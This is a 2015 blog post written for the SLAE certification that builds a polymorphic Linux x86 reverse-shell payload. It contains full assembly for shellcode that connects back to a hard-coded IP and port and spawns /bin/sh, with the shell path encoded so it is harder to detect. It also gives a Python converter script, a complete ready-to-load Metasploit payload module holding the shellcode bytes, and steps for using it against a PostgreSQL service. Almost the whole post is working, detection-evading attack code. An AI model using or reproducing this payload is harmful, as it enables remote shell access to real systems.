Wednesday, 12 August 2015

SLAE Bonus #1: Polymorphic Reverse Shell


For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is a bonus exercise I added about creating a polymorphic reverse shell metasploit module. Code can be found at my GitHub SLAE repository.


BONUS1. POLYMORPHIC REVERSE SHELL
___________________________________________________
I was very interested by doing a polymorphic version of my reverse shell shellcode done in assignement 2, and create a metasploit module from it. You can find below the assembly of the shellcode, using same techniques than previously talked, so I will not explain them again:

 
; Title: Polymorphic Linux x86 Reverse Shell Shellcode (126 bytes)
; Author: Guillaume Kaddouch
; SLAE-681


global _start

section .text

_start:
  ; Socket creation and handling with socketcall()
        ; socketcall(int call, unsigned long *args)

        ; 1 - creating socket
        ; int socket(int domain, int type, int protocol)
        ; socketfd = socket(2, 1, 0)

        ; eax = 0x66 = socketcall()
        ; ebx = 0x1 = socket()
        ; ecx = ptr to socket's args

        xor ebx, ebx                     ; zero out ebx
        mul ebx                      ; implicit operand eax: zero out eax
        mov al, 0x33
        add al, 0x33                     ; 0x66 = 102 = socketcall()
        mov [esp-4], dword ebx   ; push ebx, 3rd arg: socket protocol = 0
        sub esp, 0x4

        mov bl, 0x1                      ; ebx = 1 = socket() function
        push byte 0x1                    ; 2nd arg: socket type = 1 (SOCK_STREAM)
        push byte 0x2                    ; 1st arg: socket domain = 2 (AF_INET)
        mov ecx, esp                     ; copy stack structure's address to ecx (pointer)
        int 0x80                         ; eax = socket(AF_INET, SOCK_STREAM, 0)

         ; 2 - dup2
        ; int dup2(int oldfd, int newfd)
        ; duplicate our socketfd into fd from 2 to 0  (stdin = 0, stdout = 1, stderror = 2)
        ; stdin/stdout/stderror become the TCP connection

        ; eax = 0x3f = dup2()
        ; ebx = socketfd
        ; ecx = fd (from 2 to 0)

  ;xchg eax, ebx   ; ebx = socketfd, eax = 1
        mov ebx, eax
        mov al, 0x1
        pop ecx     ; ecx = 2 (loop count)
        inc ecx
        pxor mm0, mm1
        dec ecx
dup_jump:
        mov al, 0x4f    ; eax = 63 = dup2()
        sub al, 0x10
        int 0x80    ; dup2(socketfd, ecx)
        inc ecx     ; decrement ecx from stderror to stdin
        sub ecx, 0x2
        jns dup_jump    ; loop until ZF is set

        ; 3 - connect
        ; int connect(int sockfd, const struct sockaddr *addr[sin_family, sin_port, sin_addr], socklen_t addrlen)
        ; eax = connect(socketfd, [2, port, IP], 16)
        ; returns 0 on success

        ; eax = 0x66 = socketcall()
        ; ebx = 0x3 = connect()
        ; ecx = ptr to bind's args

        mov al, 0x33                     ; 0x66 = 102 = socketcall()
        add al, 0x33

        push dword 0x80f1a8c0            ; 192.168.241.128 Remote IP address
        push word 0x611e                 ; Remote port
        push word 0x0002                 ; sin_family = 2 (AF_INET)
        ;mov ecx, esp   ; ecx = ptr to *addr structure
        xchg ecx, esp
        mov esp, ecx

        push byte 16                     ; addr_len = 16 (structure size)
        push ecx    ; push ptr of args structure
        push ebx    ; ebx = socketfd

        mov bl, 0x4                      ; ebx = 3 = connect()
        dec bl
        mov ecx, esp                     ; save esp into ecx, points to socketfd

        fldz
        int 0x80                         ; eax = connect(socketfd, *addr[2, 7777, IP], 16) = 0 (on success)



        ; 4 - execve /bin/sh
        ; execve(const char *filename, char *const argv[filename], char *const envp[])
        ; execve(/bin//sh, &/bin//sh, 0)

        ; eax = 0xb = execve()
        ; ebx = *filename
        ; ecx = *argv
        ; edx = *envp

        xor eax, eax
        push edx    ; edx = 0x00000000

        ;push dword 0x68732f2f           ; push //sh
        ;push dword 0x6e69622f           ; push /bin (=/bin//sh)
        mov ebx, 0x57621e1e
        add ebx, 0x11111110
        push ebx
        inc dword [esp]

        mov ebx, 0x4c47400c
        add ebx, 0x22222222
        push ebx
        inc dword [esp]

        mov ebx, esp                     ; ebx =  ptr to /bin//sh into ebx
        push edx                         ; edx = 0x00000000
        mov edx, esp    ; edx = ptr to NULL address
        push ebx                         ; pointer to /bin//sh. Stack = 0X00, /bin//sh, 0X00000000, &/bin//sh
        mov ecx, esp                     ; ecx points to argv
        mov al, 0xb
        int 0x80                         ; execve /bin/sh



 
Then I made an executable from it, and used a python script I built to convert an objdump disassembly to a metasploit clean module format, that can be inserted into a metasploit module:

#!/usr/bin/python

# Title: ELF to Metasploit converter
# Author: Guillaume Kaddouch
# SLAE-681

import sys, os

try:
    file = sys.argv[1]
except:
    print "you must submit a filename."
    exit()

os.system("objdump -d " + file + " -M intel > ./tmp")

p = open(file + ".payload", "w")
with open("./tmp", "r") as f:
    for line in f:
        r = line.split('\t')
        converted = ""

        if len(r) == 3:
            opcode = r[1].replace(" ", "")
            asm = r[2].replace("   ", " ")
            asm.replace("  ", " ")
            asm = asm[:-1]

            index = 0
            while index < len(opcode):
                converted += "\\x" + opcode[index:index+2]
                index = index + 2

            converted = '  \t    "' + converted + '"' + ' ' * (40 - len(converted))
            buffer = converted + '+#   ' + asm 
            print buffer
            p.write(buffer + '\n')
f.close()
p.close()
 
How to use it (extract):



Then on Kali Linux, create an msf folder into the user's directory:
mkdir -p ~/.msf4/modules/payloads/singles/linux/x86/

Create the payload module, inserting the python script output
nano ~/.msf4/modules/payloads/singles/linux/x86/poly_shell_reverse.rb

Final module looks like this:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

  CachedSize = 126

  include Msf::Payload::Single
  include Msf::Payload::Linux
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Polymorphic Linux Command Shell, Reverse TCP Inline',
      'Description'   => 'Connect back to attacker and spawn a command shell',
      'Author'        => 'Guillaume Kaddouch - SLAE-681',
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'LHOST'    => [ 52, 'ADDR' ],
              'LPORT'    => [ 58, 'n'    ],
            },
          'Payload' =>
      "\x31\xdb"                                +#   xor  ebx,ebx
       "\xf7\xe3"                                +#   mul  ebx
       "\xb0\x33"                                +#   mov  al,0x33
       "\x04\x33"                                +#   add  al,0x33
       "\x89\x5c\x24\xfc"                        +#   mov  DWORD PTR [esp-0x4],ebx
       "\x83\xec\x04"                            +#   sub  esp,0x4
       "\xb3\x01"                                +#   mov  bl,0x1
       "\x6a\x01"                                +#   push 0x1
       "\x6a\x02"                                +#   push 0x2
       "\x89\xe1"                                +#   mov  ecx,esp
       "\xcd\x80"                                +#   int  0x80
       "\x89\xc3"                                +#   mov  ebx,eax
       "\xb0\x01"                                +#   mov  al,0x1
       "\x59"                                    +#   pop  ecx
       "\x41"                                    +#   inc  ecx
       "\x0f\xef\xc1"                            +#   pxor mm0,mm1
       "\x49"                                    +#   dec  ecx
       "\xb0\x4f"                                +#   mov  al,0x4f
       "\x2c\x10"                                +#   sub  al,0x10
       "\xcd\x80"                                +#   int  0x80
       "\x41"                                    +#   inc  ecx
       "\x83\xe9\x02"                            +#   sub  ecx,0x2
       "\x79\xf4"                                +#   jns  8048083 
       "\xb0\x33"                                +#   mov  al,0x33
       "\x04\x33"                                +#   add  al,0x33
       "\x68\xc0\xa8\xf1\x80"                    +#   push 0x80f1a8c0
       "\x66\x68\x1e\x61"                        +#   pushw  0x611e
       "\x66\x6a\x02"                            +#   pushw  0x2
       "\x87\xcc"                                +#   xchg esp,ecx
       "\x89\xcc"                                +#   mov  esp,ecx
       "\x6a\x10"                                +#   push 0x10
       "\x51"                                    +#   push ecx
       "\x53"                                    +#   push ebx
       "\xb3\x04"                                +#   mov  bl,0x4
       "\xfe\xcb"                                +#   dec  bl
       "\x89\xe1"                                +#   mov  ecx,esp
       "\xd9\xee"                                +#   fldz 
       "\xcd\x80"                                +#   int  0x80
       "\x31\xc0"                                +#   xor  eax,eax
       "\x52"                                    +#   push edx
       "\xbb\x1e\x1e\x62\x57"                    +#   mov  ebx,0x57621e1e
       "\x81\xc3\x10\x11\x11\x11"                +#   add  ebx,0x11111110
       "\x53"                                    +#   push ebx
       "\xff\x04\x24"                            +#   inc  DWORD PTR [esp]
       "\xbb\x0c\x40\x47\x4c"                    +#   mov  ebx,0x4c47400c
       "\x81\xc3\x22\x22\x22\x22"                +#   add  ebx,0x22222222
       "\x53"                                    +#   push ebx
       "\xff\x04\x24"                            +#   inc  DWORD PTR [esp]
       "\x89\xe3"                                +#   mov  ebx,esp
       "\x52"                                    +#   push edx
       "\x89\xe2"                                +#   mov  edx,esp
       "\x53"                                    +#   push ebx
       "\x89\xe1"                                +#   mov  ecx,esp
       "\xb0\x0b"                                +#   mov  al,0xb
       "\xcd\x80"                                 #   int  0x80

        }
      ))
  end

end
Notice the offset of LHOST and LPORT that must be modified according to your payload. Offset begins at 0, first opcode, and goes up. To test the payload, I choosed to exploit my local PostgreSQL service, by modifying its configuration file to trust local connections, to not requiring authentication. That would be the same case in a real-case scenario where a PostgreSQL installation would be found with default or weak credentials.



Checking our payload information:



Checking all options are set:
set RHOST 127.0.0.1
set LHOST 10.0.0.56



Now exploiting!



Note that setting RHOST to 127.0.0.1 can often gives a Metasploit error about the address being reserved. If you have the problem, set PostgreSQL to listen on the local IP address, and set your address (10.0.0.56 in the above example) as RHOST.

We can see that our polymorphic reverse shell metasploit module is working perfectly, IP address and port are modified in place.

Thanks for reading.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-681


No comments:

Post a Comment